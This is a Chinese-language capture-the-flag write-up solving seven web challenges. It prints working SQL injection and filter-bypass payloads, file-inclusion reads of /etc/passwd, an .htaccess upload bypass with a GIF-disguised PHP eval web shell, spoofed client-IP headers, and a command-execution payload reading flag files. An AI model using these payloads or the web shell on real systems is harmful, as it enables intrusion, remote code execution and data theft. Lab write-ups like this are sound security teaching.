文章目录
- 一、WEB
- 1、easysql
- 2、baby_web
- 3、baby_sql
- 4、upload_easy
- 5、easygame
- 拓展1.1
- 拓展1.2
- 6、ht_ssti
- 7、包容乃大
一、WEB
1、easysql
题目描述:
sql注入漏洞
1.常用的sql注入测试语句
2.sql注入bypass
解题思路
这边提示基本给的也很完整的,不难看出就是一道基础的SQL注入,那我们启动靶机;
典型的"id=1",此时此刻让我想起来某“sql-labs”靶场的第一题,那就正常的构造语句呗;
输入框中输入"id=1",可以清楚的看见确实返回了“用户名”以及“密码。那我们这边经过测试,发现里面只有到“id=3”,往后的”id=4,id=5等等“都是没有回显,那我们先简单的构造一下“payload”简单测试一下;
SQL注入的基本流程;
1、寻找注入点;
与数据库是否有交互,那这里不难看出我们的注入点就是输入框当中;
2、判断闭合方式;
首先,先判断是数字型还是字符型,这里我们直接“id=1abc”,检查是否有报错;
有报错:数字型
无报错:字符型
那这里我们输入完毕之后不难看出是没有直接报错的,所以这里就是“字符型”,那简单说一下两者的区别;
简单来说;
在 SQL注入 中,字符型注入 和 数字型注入 的区别主要在于数据的类型及构造的 SQL 语句格式。
- 数据类型不同
-
字符型注入:
-
通常出现在需要输入字符串的地方,比如登录表单中的用户名、搜索框等。
-
SQL查询语句中,字符型数据需要用单引号(’ ')括起来。
-
例如:
SELECT * FROM users WHERE username = 'admin';
-
-
数字型注入:
-
出现在需要输入数字的地方,比如ID查询。
-
SQL查询语句中,数字型数据不需要单引号包围,直接输入即可。
-
例如:
SELECT * FROM products WHERE id = 1;
-
- 注入点的区别
-
字符型注入:
-
需要插入 单引号 来进行注入,这通常用于打破原始的SQL查询结构。
-
示例(字符型注入漏洞):
-
输入:
' OR '1'='1
-
构造的查询:
SELECT * FROM users WHERE username = '' OR '1'='1';
-
-
结果:查询条件永远为真,返回数据库中的所有用户。
-
-
数字型注入:
-
不需要单引号即可进行注入,直接在数字的基础上构造SQL语句。
-
示例(数字型注入漏洞):
-
输入:
1 OR 1=1
-
构造的查询:
SELECT * FROM products WHERE id = 1 OR 1=1;
-
-
结果:同样可以获取数据库中的所有记录。
-
- 语法差异
- 字符型:由于 SQL 中字符串数据需要用单引号包围,所以注入时需要处理单引号。
- 如:
' OR '1'='1' --
- 如:
- 数字型:不需要处理单引号,直接构造注入语句即可。
- 如:
1 OR 1=1 --
- 如:
- 示例对比
-
字符型注入:
-
输入:
' OR '1'='1' --
-
执行的SQL语句:
SELECT * FROM users WHERE username = '' OR '1'='1' --';
-
-
数字型注入:
-
输入:
1 OR 1=1 --
-
执行的SQL语句:
SELECT * FROM products WHERE id = 1 OR 1=1 --;
-
总结
- 字符型注入 需要插入单引号来破坏查询语句,并适用于处理字符型数据的输入点。
- 数字型注入 不需要单引号,直接针对数字型数据进行构造注入攻击。
两者本质上都是通过构造恶意SQL查询来篡改原始查询,达到获取数据或绕过身份验证的目的。
那这里我们既然确定是“字符型”,那我们就开始构造sql语句;
1'and'1'='1
简单分析一下这个sql语句;
-
1'
:这是字符串的结束部分,打破了原始 SQL 查询中的语法。原本的查询语句假设你输入的是一个合法的数字或字符串,但由于这里插入了一个单引号'
,SQL 语句的结构就被破坏了。 -
and
:这是 SQL 中的逻辑操作符,用于连接两个条件。它表示如果前面的条件为真,后面的条件也必须为真,查询才会返回结果。 -
1'='1
:这是一个永远为真的条件。因为1
总是等于1
,这意味着这个条件无论如何都成立。
可能执行的 SQL 语句
假设这是用于登录系统的 SQL 查询,原始查询可能是这样的:
SELECT * FROM users WHERE id = '$id';
如果注入的是 1'and'1'='1
,则生成的SQL查询语句将变为:
SELECT * FROM users WHERE id = '1' and '1'='1';
id = '1'
:这是原始查询中的部分,尝试查找 ID 为1
的用户。and '1'='1'
:这个部分是注入的代码,它总是成立,所以无论前面的条件是否成立,这部分始终为真。
那这里,我为了能更清晰的看见返回情况,这里我直接使用“bp”抓包,直接修改语句;
那从图片中不难看出,确实是返回了正常的“用户名”及“密码”,所以我们尝试给sql语句加上注释;
1'and'1'='1 --+
这边加上注释就直接报错了“hacker!”,所以我们可以肯定的是“–+”是被过滤掉了,那我们换一个,sql语句中是有很多注释可以使用的,这里列举几个常用的注释;
在 SQL注入 攻击中,注释符号常用于截断后面的 SQL 语句,以便让注入代码顺利执行。常见的注释符号有:
-
--+
或--
- 用于单行注释,截断 SQL 语句的后半部分。
- 例如:
SELECT * FROM users WHERE id = 1 --+
- 这里的
--+
会注释掉 SQL 查询中的所有内容,从--+
后面的部分都不会执行。
- 这里的
-
#
- 也是单行注释符号,功能和
--+
类似。 - 例如:
SELECT * FROM users WHERE id = 1 #
- 也是单行注释符号,功能和
-
/* */
- 多行注释,用于注释多行代码,常用于截断整个 SQL 语句块。
- 例如:
SELECT * FROM users WHERE id = 1 /* 注释部分 */
- 这种注释方式可以包裹注释内容,中间可以跨行注释。
这些注释符号的作用:
- 主要用于让 SQL 语句中的不必要部分不被执行,或者截断查询,让 SQL 注入攻击生效。
所以这里我们选择“#”来试试看;
1'and'1'='1#
得到;
这里不难看出确实没有报错,那我们继续进行下一步(这里只是没有返回结果,并不是报错,所以就算是成功的)
那既然知道了可以注释,我们就可以继续查询一下里面有多少列,判断列数,我们构造payload;
1' order by 1#
得到;
很明显,报错了,那我们这时候就要想,是不是过滤掉什么了,首先这种情况我们应该想到尝试一下空格,那在这里我们要找一下空格替换的字符;
在 SQL注入 中,空格被过滤,我们可以使用以下几种替代方案来绕过空格过滤,帮助注入语句成功执行。常见的替换方式有:
-
/**/
(注释符号)- 使用注释符号替换空格,例如:
/**/
。 - 例如:
SELECT/**/username/**/FROM/**/users/**/WHERE/**/id=1
。 - 这是一种比较常见的绕过空格过滤的方法。
- 使用注释符号替换空格,例如:
-
%20
(URL编码的空格)- 使用 URL 编码中的
%20
来表示空格。 - 例如:
SELECT%20username%20FROM%20users%20WHERE%20id=1
。
- 使用 URL 编码中的
-
+
(URL 编码中的加号)- 在某些情况下,加号
+
也可以被解析为空格。 - 例如:
SELECT+username+FROM+users+WHERE+id=1
。
- 在某些情况下,加号
-
括号
()
- 在某些场景下,可以使用括号进行语法上的替换。
- 例如:
SELECT(username)FROM(users)WHERE(id=1)
。
-
TAB
键字符- 有些情况下,可以使用
TAB
键(制表符)来代替空格。 - 例如:
SELECT username FROM users WHERE id=1
。
- 有些情况下,可以使用
通过这些替代空格的方式,攻击者可以绕过常规的过滤机制,执行注入攻击。
那这里我们选择"//"替换空格,所以payload为;
1'/**/order/**/by/**/1#
得到
很明显没有报错,但是也并没有我们想象中的那样给出列数,这里不管输入多少都是不会显示列数,那就没办法了,正常的“sql注入”方法是行不通了,那不过也没有关系,其实我们一直以来都忘记了一个关键的信息!
关键信息:我才不会告诉你可以用select flag from flag看到flag呢!
主要的:select flag from flag
简单分析一下;
解析:
-
SELECT
:这是一个 SQL 关键字,用于从数据库中提取数据。它告诉数据库系统要检索数据。 -
flag
(字段名):这是要检索的数据所在的列名。在这里,flag
被认为是数据库表中的一个字段,通常存储某些特定信息(例如比赛中的旗帜标志等)。 -
FROM flag
(表名):这里的flag
是表名,它表示数据的存储位置。在这个表中,字段flag
中保存了我们要提取的数据。
总结:
- 这条语句从名为
flag
的表中选择字段flag
的所有数据。 flag
在 SQL 语句中既是字段名,也是表名,尤其是当表名和字段名设置为相同名字时。
所以我们直接可以使用我们刚刚构造好的payload,再结合所给出的“字段名”及“表明”我们直接查询“flag”即可(注意空格已经被过滤掉了,我们只能使用“//”来进行构造语句);
-1'/**/union/**/select/**/1,(select/**/group_concat(flag)/**/from/**/flag),3#
得到;
那这里也是直接得出了一串字符,尝试提交,最后发现正确;
那我们来一起简单分析一下payload语句;
这是一条典型的 SQL 注入语句,使用了
UNION
注入技术,而且通过空格替换为/**/
进行绕过过滤器的处理。让我们逐步解析这条语句:
语句解析:
-1'/**/union/**/select/**/1,(select/**/group_concat(flag)/**/from/**/flag),3#
-
-1'
:这部分的作用是制造一个非法的输入,目的是引发 SQL 解析错误,后面将通过UNION
来拼接额外的查询。 -
/**/
:这是一种常用的注释方式,表示替换掉正常的空格以避免被过滤掉或检测到。这种方式用于绕过防御机制(如过滤或拦截空格字符的防火墙等)。 -
union
:这是一个 SQL 操作符,用来合并两个查询的结果。通过使用UNION
,攻击者可以将他们自己的查询结果附加到原查询的结果上。 -
select 1, (select group_concat(flag) from flag), 3
:这部分是第二个查询的主体,其中:1
和3
是占位符,表示除了flag
字段外,查询中其他字段的内容。(select group_concat(flag) from flag)
:这个子查询用于从表flag
中获取所有的flag
数据,并使用group_concat()
函数将这些数据连接成一行返回。
-
#
:这是一个 SQL 注释符号,表示从这个符号开始,后面的内容将被注释掉。这意味着原始查询的剩余部分不会被执行。
攻击目标:
- 绕过过滤机制:
/**/
替换空格是为了绕过某些防御机制,避免被安全规则阻挡。 - 数据泄露:通过
UNION
合并查询,我们可以将目标数据库中的flag
数据与原查询结果合并,从而窃取敏感信息(如flag
值)。 group_concat(flag)
:这个函数将多个flag
值拼接在一起,以便一次性返回所有的flag
数据,减少查询次数。
总结:
这是一条旨在从数据库中提取 flag
数据的 SQL 注入语句,使用了 UNION
操作以及空格替换技术,试图绕过防护机制,并通过拼接的方式将敏感数据输出到前端。
常用的SQL注入方式;
UNION
注入:通过UNION
拼接查询结果。- 错误型注入:利用错误信息来泄露数据。
- 盲注:基于布尔值、时间延迟等注入方式。
- 堆叠查询:在同一请求中执行多条 SQL 语句。
至此;
flag{3d1758971756c2d51a950475dde322b7}
2、baby_web
解题思路
打开靶机,看见得到一张图片,直接“Ctrl+u”查看源码发现提示;
“Ctrl+u”:查看源码
那这里我们先跳转到“hint.php”的页面查看一下;
又得到提示“flag in ffllaagg,come on!!”,那我们继续跳转到刚刚得到的“source.php”简单查看一下;
大致看一下,这也不难看出是一个“文件包含漏洞”,那这里我们来具体分析一下;
分析:
-
highlight_file(__FILE__);
:- 这行代码会将当前文件的源代码显示在页面上,通常用于调试或审计。
-
if (!empty($_GET['file']) && is_string($_GET['file']))
:- 这一部分判断
GET
请求中是否存在file
参数,并且检查它是否是一个字符串。 - 如果满足条件,则通过
include
函数将用户传递的文件包含到页面中。
- 这一部分判断
-
include $_GET['file'];
:- 这里的
include
语句没有对输入内容进行严格的过滤或限制。这使得用户可以通过恶意构造的file
参数传递服务器路径,可能导致任意文件读取,甚至执行恶意代码。
- 这里的
-
文件包含漏洞的攻击点:
-
本地文件包含 (LFI):我们可以通过
file
参数,构造路径来读取系统的敏感文件。例如:?file=../../../../etc/passwd
-
远程文件包含 (RFI):如果服务器允许远程文件包含,攻击者可以在
file
参数中输入一个 URL,导致远程恶意文件被执行。
-
那这里我们可以尝试读取一下“/etc/passwd”,看看是否如我们想象的一样;
不难看出确实如此,那这里我们结合前面所给出的提示:flag in ffllaagg,come on!!
那这里我们直接尝试读取“flag”试试看,因为源码中也没有任何过滤的,所以我们直接;
?file=../../ffllaagg
但奇怪的是这里是没有任何回显的,所以我们直接读取“flag.txt”试试看,往往看起来没有任何提示或者明示的最简单;
?file=../../flag.txt
果然正如我们所想那一般,没有任何提示,直接读取“flag.txt”即可;
至此;
flag{78af6776a3867e1fc62424bcb89bb7e3}
3、baby_sql
解题思路
打开靶机,我们看这题的名字可知,又是一题较为简单的“SQL注入”;
老规矩我比较喜欢在“bp”中做“SQL注入”的题目,那这里我们先使用“bp”抓包;
两个输入框中都随便输入“1”接着点击这个按钮进行抓包分析;
这里注意!!!“bp”中需要开启拦截,再点击按钮进行确定进行抓包;
“bp”抓包成功,接着发送至“Repeater”进行“SQL注入”发包测试;
这里不难看出确实是查询失败了,直接返回了“Error”;
不过也没关系,我们正常的进行“SQL注入”,首先就是判断一下“闭合方式”,以及“字符类型”,那这里我们就先判断是“数字型”还是“字符型”;
有报错:数字型
无报错:字符型
但是这里好像并不是我们想的那样,不过我们可以尝试一下“SQL注入”万能密码;
简单来说就是在 SQL 注入中,所谓的“万能账号密码”是指通过构造恶意的 SQL 语句绕过数据库的身份验证,从而登录系统。常见的万能账号和密码组合通常通过在输入字段中注入条件判断,使其绕过验证逻辑,成功登录。
常见的 SQL 注入万能账号密码:
-
万能账号:
' or '1'='1
或者:
' or 1=1 --
- 解释:通过
' or '1'='1
,构造了一个永远为真的条件。数据库会把整个 SQL 语句视为有效,并认为用户已经通过验证。
- 解释:通过
-
万能密码:
' or '1'='1
或者:
' or 1=1 --
- 解释:类似万能账号,使用万能密码时,即使输入的账号不存在,只要密码部分的条件判断永远为真,登录验证也会成功。
这里我们随便选一个输入即可;(我选的:’ or ‘1’='1)
不难看出确实是有回显的,那我们就正常的构造payload的语句;
1' union select 1,2,3#
得到;
那这里是有回显的,说明我们测试是对的,那我们下一步就直接查询一下“数据库”;
-1' union select 1,database(),3#
得到;
数据库:babysql
接着数据库查询出来了,那我们就要获取表名;
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='babysql'),3#
得到;
表名:flag,users
那这里很明显我们要读取的是“flag”表的内容,所以;
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='babysql' and table_name='flag'),3#
得到;
列名:id,flag
不难看出就是要读取“flag”列的内容,所以;
-1' union select 1,(select group_concat(flag) from flag),3#
得到;
最后的最后也是成功出来了,这题算是一道基础的“SQL注入”,步骤嘛来来去去就是那几个,基本上算是属于换汤不换药;
至此;
flag{7da253b27baac2d7b37eb2cc5baf7418}
4、upload_easy
解题思路
根据题目我们不难看出这是一题“文件上传”,那我们这里直接打开靶机;
还是老规矩,使用“bp”抓包修改,具体的步骤不在说明,那这里抓到之后,我们直接传一个经典的“一句话木马”过去然后使用蚁剑连接试试看;
但是它好像过滤了这几个后缀,所以我们不能直接上传“.php”后缀的文件,不过没关系,不让我们上传“.php”后缀的文件那也属于正常,要不然这题也太过于简单了;
那这里我们可以尝试使用“.htaccess文件”绕过,什么是“.htaccess文件”绕过呢?这里我们简单说明一下;
“.htaccess”文件绕过的原理:
.htaccess
是一个Apache服务器的配置文件,用于控制目录的配置。通过 .htaccess
文件,我们可以在上传目录中放置特定的配置指令,以绕过一些上传安全限制。具体原理如下:
-
修改上传目录的配置:我们可以将
.htaccess
文件上传到网站的文件上传目录中,并在该文件中配置特定的指令。例如,通过.htaccess
文件,我们可以禁用对上传目录的PHP解析,从而使得上传的PHP脚本能够被执行。 -
绕过文件类型验证:在上传目录中放置一个
.htaccess
文件,配置指令将允许上传的文件被解析或执行,即使文件扩展名被限制(如.php
文件被限制)。例如,可以使用以下指令:<FilesMatch "\.php$"> SetHandler None </FilesMatch>
-
伪装恶意文件:我们可以上传一个带有恶意代码的文件,并使用
.htaccess
文件将上传目录设置为执行这些文件。例如,将.htaccess
文件中的指令设置为将所有文件作为文本文件处理,而不是执行文件。
具体操作步骤如下;
我们先写好“.htaccess文件”;
这里有几种常用的写法;
第一种、虽然好用,但是会误伤其他正常文件,容易被发现
<IfModule mime_module>
AddHandler php5-script .gif #在当前目录下,只针对gif文件会解析成Php代码执行
SetHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成php代码执行
</IfModule>
第二种、精确控制能被解析成php代码的文件,不容易被发现
<FilesMatch "evil.gif">
SetHandler application/x-httpd-php #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
</FilesMatch>
第三种、同1没太大区别
<IfModule mime_module>
AddType application/x-httpd-php .gif
</IfModule>
利用方式:上传覆盖“.htaccess文件”,重写解析规则,将上传的带有脚本马的图片以脚本方式解析。
这里我们选择“第二种方法”;
配置好".htaccess文件";
<FilesMatch "shell.phtml">
SetHandler application/x-httpd-php
AddHandler php5-script .phtml
</FilesMatch>
得到;
可以看见这里是没有报错的,接着就继续上传一个“shell.phtml”的文件;
文件内容如下;
GIF89a? <script language="php">eval($_REQUEST[1])</script>
得到;
同样也是成功,那这时候我们就开始使用“蚁剑”进行连接;
找到上传到的目录也就是“./upload/202409100249355692.phtml”
那我们尝试访问一下“upload”;
在这里我们可以看见之前上传的文件,那我们点开“202409100249355692.phtml”;
接着打开蚁剑进行连接;
测试连接成功;
那这里我们来简单说一下为什么是“.phtml”文件?
简单来说
“.phtml”文件是一种特定的文件扩展名,它主要用于包含PHP代码和HTML标记的混合脚本文件中。以下是对“.phtml”文件的详细分析:
一、定义与特点
- 定义:“.phtml”文件是PHP Hypertext Preprocessor(PHP超文本预处理器)文件的一种变体,它结合了PHP脚本和HTML标记。这种文件类型允许开发者在HTML文档中直接嵌入PHP代码,从而实现动态网页的生成。
- 特点:
- 动态性:由于包含了PHP代码,“.phtml”文件能够生成动态内容,这些内容可以根据用户请求、数据库查询结果等实时变化。
- 易读性:对于同时熟悉HTML和PHP的开发者来说,“.phtml”文件提供了一种直观的方式来组织和编写代码。
- 兼容性:相比标准的“.php”文件,“.phtml”文件在某些服务器配置下可能不需要额外的设置即可运行。
简单来说就是,“.phtml”文件是Web开发中常用的一种文件类型,它结合了PHP脚本和HTML标记的优势,为我们提供了一种灵活、易读且广泛支持的方式来创建动态网页。
所以我们可以直接执行,那“.phtml”文件内容又是什么呢?
GIF89a? <script language="php">eval($_REQUEST[1])</script>
我们简单分析一下;
-
GIF89a?
:GIF89a
是GIF图像格式的一个标识,表示这是一个GIF图像文件(GIF89a版本)。通常,GIF文件以这个字符串开头。
-
<script language="php">eval($_REQUEST[1])</script>
:- 这是一个PHP脚本标签,其中的代码使用了
eval()
函数来执行通过$_REQUEST[1]
传入的内容。eval()
函数执行传入的PHP代码,这里表示将动态地执行请求参数中的代码。
- 这是一个PHP脚本标签,其中的代码使用了
-
GIF头部 (
GIF89a
):是一个GIF图像,以绕过文件类型检查。 -
PHP代码 (
<script language="php">eval($_REQUEST[1])</script>
):包含PHP代码,这段代码会执行请求中包含的PHP代码,从而允许我们执行任意PHP代码。 -
文件上传漏洞:如果应用程序允许上传文件并且没有正确地过滤文件内容或类型,我们可以上传这种含有PHP代码的GIF文件,并通过执行其中的代码来取得控制权。
-
代码执行:
eval()
函数的使用允许执行动态传入的PHP代码,我们能够控制请求参数,就可以执行任意PHP代码,从而完全控制服务器。
所以;
直接找到根目录下,也是很快就发现了“flag.txt”;
至此;
flag{c7bf83ecd3bf400757f50f5214d92df9}
5、easygame
解题思路
打开靶机,根据提示猜测可能这是一个传参的题目;
提示:GET me Xp0int with values:juice
简单分析一下;
" 这句话是一次HTTP请求的指令,它的结构大致如下:
-
GET:在HTTP协议中,
GET
是常用的一种请求方法,主要用于从服务器获取数据。与POST
不同的是,GET
请求将参数直接附加在URL之后,公开传递参数值,常用于请求资源而不会对服务器产生持久性改变。 -
Xp0int:这是服务器上的某个API端点、页面、或资源名称。它是Web应用程序中的某个接口,通过访问这个接口来获取或操作相关资源。
-
values
:这里的
values
和juice
可能是指请求中传递的参数和值。通常在GET
请求中,参数和值是以键值对的形式传递,比如?key=value
,因此这句话可以被理解为带有参数values
,值为juice
的GET请求。
综合分析
这个表达的意思是:
- 通过HTTP
GET
请求访问Xp0int
这个接口或资源,并传递一个参数,参数名为values
,参数值为juice
。
所以我们可以使用工具“HackBar”来进行传参,这个工具使用起来还是蛮好用的;
那按照提示我们构造payload;
?Xp0int=juice
得到;
成功得到下一步提示:Then post me Xp0int with values:juicejuice
简单分析一下;
Then post me Xp0int with values
是指一次HTTP请求操作中的POST
请求。分析如下:
-
POST:在HTTP协议中,
POST
是一种常用的请求方法,通常用于向服务器提交数据以进行处理(如表单提交)。与GET
不同,POST
的请求数据是放在HTTP请求的主体中,而不是通过URL传递参数。 -
Xp0int:这可能是服务器的某个接口、API端点,或者页面。它表示请求的目标资源或路径。
-
values
:这表示需要在
POST
请求的请求体中传递一个参数values
,其值为juicejuice
。类似于通过表单提交数据,参数和值会在请求体中传递,而不是在URL中。
综合分析
这句话的意思是:
- 通过HTTP
POST
请求向服务器上的Xp0int
接口或资源提交数据,参数名为values
,参数值为juicejuice
。
区别于GET请求
与GET
请求不同,POST
请求的数据不会出现在URL中,而是包含在请求体中,这通常用于传递更大量的或敏感的信息。
那这里意思很明显了让我们由原来基础上的“GET”请求改成“POST”请求并且传入“Xp0int=juicejuice”;
那这里同样的我们也可以使用“HackBar”来进行传参;
改完“PSOT”请求之后传入;
Xp0int=juicejuice
得到;
得到提示:You are not admin!,only IP is localhost can be admin!!!
简单分析一下;
- 基于IP地址的限制:
- 系统通过IP地址来判断管理员身份,只有在本地服务器上(即IP地址为
localhost
或127.0.0.1
)的用户才能被识别为管理员,具有访问权限。 - 如果用户的IP地址不是本地IP(例如从远程登录),即使他们的账号有权限,也会被拒绝。
那既然只有本地的“admin”才能访问,我们可以直接为伪造一个;
虽有多种方法可用,但实际使用中基本X-Forwarded-For就足够。
如果遇到需要更换多次IP后才能得出Flag的情况,可在Burpsuite中使用burpFakeIP插件完成伪造IP爆破。
X-Forwarded-For:127.0.0.1
X-Forwarded:127.0.0.1
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1
Host: 127.0.0.1
这里有很多,我们可以一个一个尝试即可,也还是使用“HackBar”来进行传参;
这里我使用的是;
X-Forwarded-For:127.0.0.1
得到;
那这里其实就是考验传参的题目,考点不是很多,但是也需要注意;
至此;
flag{93fd6f75823d3034deb89cf3c88b57fe}
拓展1.1
“谷歌HackBar”安装基础教程;
首先肯定就是找到谷歌的“设置”;
接着,注意!!!如果直接在这里查找是找不到的,我们需要点击左边的“谷歌商店”(访问谷歌商店是需要“梯子”的),正常的是访问不了的,这里建议开启“梯子”
进入之后,直接在里面搜索“HackBar”接着点击安装即可,后面需要修改的网页我们可以直接点击“F12“唤出”HackBar“即可;
拓展1.2
方法二:使用“bp”抓包修改传参;
“bp”中修改请求方法,直接选中“右键”,选择“修改请求方法”即可把“GET”请求修改为“条件二”所需的"POST"请求;
6、ht_ssti
解题思路
打开靶机,不难看出这是一题关于“ssti”的题目,那什么是“ssti”呢?下面我们简单介绍一下·;
简单来说就是CTF中的SSTI(Server-Side Template Injection,服务端模板注入)是一种模板引擎的注入攻击。它的核心概念是:我们通过在用户输入中嵌入恶意代码,利用模板引擎的漏洞执行任意代码或获得系统敏感信息。
什么是SSTI?
- 模板引擎是一种允许开发者使用模板语言来生成动态内容的工具,常用于Web应用开发中生成HTML、邮件或其他动态内容。
- SSTI发生的前提是,Web应用没有对用户输入进行正确的过滤或处理,导致用户能够将恶意的模板表达式传入系统,并且该表达式被不安全地渲染执行。
常见的模板引擎
不同的编程语言通常使用不同的模板引擎,比如:
- Python:Jinja2、Django Template
- PHP:Smarty、Twig
- Node.js:EJS、Pug
- Ruby:ERB
- Java:Thymeleaf、Velocity
SSTI攻击的原理
SSTI攻击的原理是通过注入恶意的模板表达式,利用模板引擎的漏洞来执行不该执行的操作。例如,我们可以通过某个用户输入点插入恶意代码片段,模板引擎在解析时会将这段代码执行,导致敏感信息泄露或远程代码执行(RCE)。
示例
以Python的Jinja2模板为例:
template = "Hello, {{ name }}!" result = render_template(template, name=user_input)
如果没有对user_input
做有效的过滤,我们可能传入:
{{ 7*7 }}
那么模板引擎会将7*7
计算并输出49
,这属于简单的SSTI。如果注入复杂代码,比如{{ config.items() }}
,则可能会输出应用的配置信息,甚至通过复杂操作获取服务器的权限。
SSTI与“模块注入”
SSTI可以看作是一种**“模块注入”**的变体。具体来说:
- 模板注入:模板引擎在处理时会自动执行传入的模板表达式或代码,可能导致不安全的代码执行。
- 模块注入:SSTI通过引入不安全的模板模块或表达式,造成系统级别的代码注入攻击,影响服务端的安全性。
影响与防护
-
影响:
- 信息泄露:我们可能通过SSTI获取到应用的环境变量、配置文件等敏感信息。
- 远程代码执行(RCE):在一些严重的情况下,我们可以通过模板注入直接执行恶意代码,接管服务器。
-
防护措施:
- 对用户输入严格过滤,避免未经过滤的输入直接进入模板引擎。
- 尽量使用安全模式下的模板引擎(例如Jinja2的sandbox模式)。
- 避免将用户输入嵌入到模板语言中,或至少对其进行严格的限制和验证。
总而言之
SSTI(服务端模板注入)是Web安全领域中的一种模板引擎漏洞攻击,主要通过注入恶意代码影响服务器执行结果。通过对用户输入的严格过滤和使用安全模式,可以有效防范此类攻击。
那这里估计就八九不离十了,访问靶场得到;
7、包容乃大
解题思路
打开靶机发现这是一题经典的“CTFSHOW”上面的例题,那我们话不多说直接开始实战;
点击访问得到;
这里就直接跳转到“?file=show.php”,很明显这里是存在“文件包含”的,我们可以简单测试一下;
直接传一个;
index.php?file=/etc/passwd
得到;
这里就更加确信是“文件包含”了,那这里我们结合之前得到的提示:tips-tips-tips-tips~~~
那这个肯定不会平白无故出现的,所以这里面肯定是存在有“tips.php”的,所以这里我们直接使用文件包含中的“伪协议”;
构造payload得到;
index.php?file=php://filter/convert.base64-encode/resource=tips.php
得到;
接着使用“base64”解码得到(这里我使用的是“bp”自带的解码工具);
得到;
<?php
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {
eval($param);
}
?>
简单分析一下;
一眼看过去发现这个PHP代码段存在明显的代码执行漏洞,因为它使用了eval()
函数,并且对用户输入的安全性检查不足。
代码解析
$param = $_REQUEST['param'];
-
这行代码通过
$_REQUEST
获取用户输入的参数param
,这意味着用户可以通过GET
、POST
、或者COOKIE
方式传入数据。if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) { eval($param); }
-
这段代码对
$param
进行了一些简单的检查:- 长度限制:
strlen($param)<17
,即用户输入的长度必须小于17个字符。 - 关键字过滤:使用
stripos()
函数过滤掉了包含"eval"
和"assert"
的输入,目的是防止用户直接利用这些函数执行代码。
通过这些检查后,代码使用了
eval()
函数来执行$param
的内容,eval()
会将传入的字符串作为PHP代码来执行。 - 长度限制:
安全问题
- 代码执行漏洞:尽管限制了长度,并过滤了
"eval"
和"assert"
,但并没有全面过滤所有可能的危险函数,比如system
、exec
等。只要用户输入的代码符合条件,就可以被eval()
执行,导致远程代码执行(RCE)漏洞。 - 不充分的过滤:
stripos()
函数只是检查了"eval"
和"assert"
,但我们可以通过绕过这些关键词,比如使用其他PHP函数来执行命令(如system()
、passthru()
、shell_exec()
等)。
总结
这段代码的主要问题是eval()
的使用,结合不充分的输入验证,导致代码存在严重的远程代码执行(RCE)漏洞,我们可以通过传入恶意代码来执行任意命令。
那我们直接开始构造payload;
http://10.246.19.155:42651/tips.php?param=echo%20`cat%20/f*`;
得到;
简单分析一下payload;
参数说明:
-
URL:
http://10.246.19.155:42651/tips.php
- 这是目标服务器的地址,端口号是
42651
,tips.php
是被访问的页面。
- 这是目标服务器的地址,端口号是
-
参数
param
:- *
param=echo%20
cat%20/f**:这是发送给
tips.php的
param` 参数,里面包含了一个命令注入的内容。echo
: 输出命令,将后面的内容打印出来。`cat /f*`
:使用反引号执行一个命令,这里的命令是cat /f*
。cat
是一个Linux命令,用于读取文件的内容。/f*
是通配符匹配,它会匹配系统中/
根目录下所有以f
开头的文件。
- *
-
cat /f*
:试图读取根目录下所有以f
开头的文件。例如,如果根目录下有文件/flag
,则这个命令会读取文件/flag
的内容。 -
echo
:将读取到的文件内容通过echo
输出。
最后执行;
这个Payload的目的是利用服务器端可能存在的代码执行漏洞,执行命令以读取敏感文件(例如CTF中的flag文件)或系统文件。
至此;
flag{122a6a8b51f6a4d7eddb602e3998d109}